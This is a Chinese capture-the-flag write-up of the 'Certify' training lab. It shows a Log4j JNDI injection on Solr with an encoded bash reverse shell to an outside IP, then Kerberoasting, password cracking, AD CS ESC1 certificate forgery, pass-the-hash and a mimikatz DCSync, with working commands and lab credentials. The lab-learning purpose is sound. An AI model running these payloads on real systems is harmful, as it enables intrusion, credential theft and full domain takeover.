渗透
春秋云镜-Certify
flag01
fscan扫一遍
1 | fscan -h 39.99.134.186 |
访问web服务,发现存在log4j
通过dns检测确实存在log4j,那通过log4j打jndi注入。
/solr/admin/cores?action=${jndi:ldap://1p9bvr.dnslog.cn}
welk1n/JNDI-Injection-Exploit at v1.0用法
1 | java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c " {echo,YmFzaCAtaSA+IC9kZXYvdGNwLzE1Ni4yMzguMjMzLjU1LzIzMzMgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 156.238.233.55 |
http://39.99.134.186:8983/solr/admin/collections?action=${jndi:ldap://156.238.233.55:1389/xi4rks}
另一个工具Mr-xn/JNDIExploit-1
http://39.99.134.186:8983/solr/admin/collections?action=${jndi:ldap://156.238.233.55:1389/Basic/ReverseShell/156.238.233.55/2333}
成功弹shell
发现是一个普通权限,但是可以通过sudo中设置的grc提权。
成功拿到flag01
flag01: flag{692d0ff1-2b22-4052-8126-5731fe7e1e8f}
flag02
搭代理,扫内网。
1 | ./fscan -h 172.22.9.19/24 |
扫一下
1 | [*] Icmp alive hosts len is: 4 |
先分析一下,整理整理思路。
172.22.9.7 DC:XIAORANG\XIAORANG-DC
172.22.9.26 Windows Server 2016 Datacenter 14393
172.22.9.47 fileserver
172.22.9.19 外网。
一个已经打完了的,一个是DC域控。一个文件服务器,还有一个内网主机。
可以SMB登录文件管理系统。
1 | proxychains4 impacket-smbclient 172.22.9.47 |
flag02: flag{4dc07eb1-3cc4-4c71-a95e-bfcbb9e01056}
flag03
刚刚拿到了一个db文件,先看看里面有什么。
wow,我要开喷了。先把数据导出来。由于数据量不大可以直接全选复制出来。或者用navicat的导出功能,导出的数据是双引号包裹的,全删了就好了。
1 | proxychains4 crackmapexec smb 172.22.9.26 -u user.txt -p pass.txt --continue-on-success |
拿到两个
1 | xiaorang.lab\zhangjian:i9XDE02pLVf |
rdp都失败了。flag2的提示说SPN,搜索得到
由于 Kerberos 认证依赖于 SPN,因此攻击者可能会尝试滥用 SPN 来进行身份验证攻击,比如“Kerberoasting”攻击,利用已配置的 SPN 提取 Kerberos 服务票据,并尝试离线破解服务账户的哈希值。
利用impacket-GetUserSPNs对每一个SPN 进行 Kerberoasting
1 | proxychains4 impacket-GetUserSPNs -request -dc-ip 172.22.9.7 xiaorang.lab/zhangjian:i9XDE02pLVf |
拿到四个哈希,但是会重复。
hashcat爆破,让hashcat自己识别哈希类别
hashcat hash.txt rockyou.txt
得到两个账号密码
1 | xiaorang.lab\zhangxia MyPass2@@6 |
然后尝试rdp,但是什么都拿不到。
然后尝试AD CS 模板相关的漏洞。查看证书情况
1 | proxychains4 certipy-ad find -u 'zhangxia@xiaorang.lab' -password 'MyPass2@@6' -dc-ip 172.22.9.7 -vulnerable -stdout |
有个ESC1,申请 XR Manager 证书模版并伪造域管理员,得到administrator.pfx,然后利用administrator.pfx证书获取 TGT 和 NTLM Hash
这里直接打会超时
加一个host
1 | proxychains4 certipy-ad req -u 'zhangxia@xiaorang.lab' -p 'MyPass2@@6' -target 172.22.9.7 -dc-ip 172.22.9.7 -ca 'xiaorang-XIAORANG-DC-CA' -template 'XR Manager' -upn 'administrator@xiaorang.lab' |
拿到证书
然后利用证书拿域管哈希
1 | proxychains4 certipy-ad auth -pfx administrator.pfx -dc-ip 172.22.9.7 |
报错了
[-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)
上天啊,来个渗透大爹救救我吧。 几个月后又来试了一下,成功了(后来了解到可以使用RBCD来攻击,详情可以看春秋云镜-MagicRelay
然后pth。
1 | proxychains crackmapexec smb 172.22.9.26 -u administrator -H2f1b57eefb2d152196836b0516abea80 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt" |
或者使用Certify配合Rubeus拿域管哈希也行。
1 | C:\Users\zhangxia\Desktop\film>Certify.exe find /vulnerable |
用XR Manager模板为 XIAORANG\Administrator 注册证书:
1 | Certify.exe request /ca:CA01.xiaorang.lab\xiaorang-CA01-CA /template:"XR Manager" /altname:XIAORANG.LAB\Administrator |
报错了
1 | [*] Action: Request a Certificates |
如果这一个成功的话会输出一个pem格式证书文件。然后将证书格式转换为.pfx 格式。
1 | openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx |
然后使用 Rubeus 或 certipy 进行身份验证
1 | Rubeus.exe asktgt /user:Administrator /certificate:cert.pfx /password: /ptt |
获得票据后导出 hash
1 | mimikatz.exe "lsadump::dcsync /domain:xiaorang.lab /user:Administrator" exit |
flag03: flag{525886c4-919b-473f-9d7f-6a263c8e2d0f}
flag04
1 | proxychains crackmapexec smb 172.22.9.7 -u administrator -H2f1b57eefb2d152196836b0516abea80 -d xiaorang.lab -x "type Users\Administrator\flag\flag04.txt" |
flag04: flag{654ca06e-4170-49c5-bfd5-18701a20c385}
参考文章: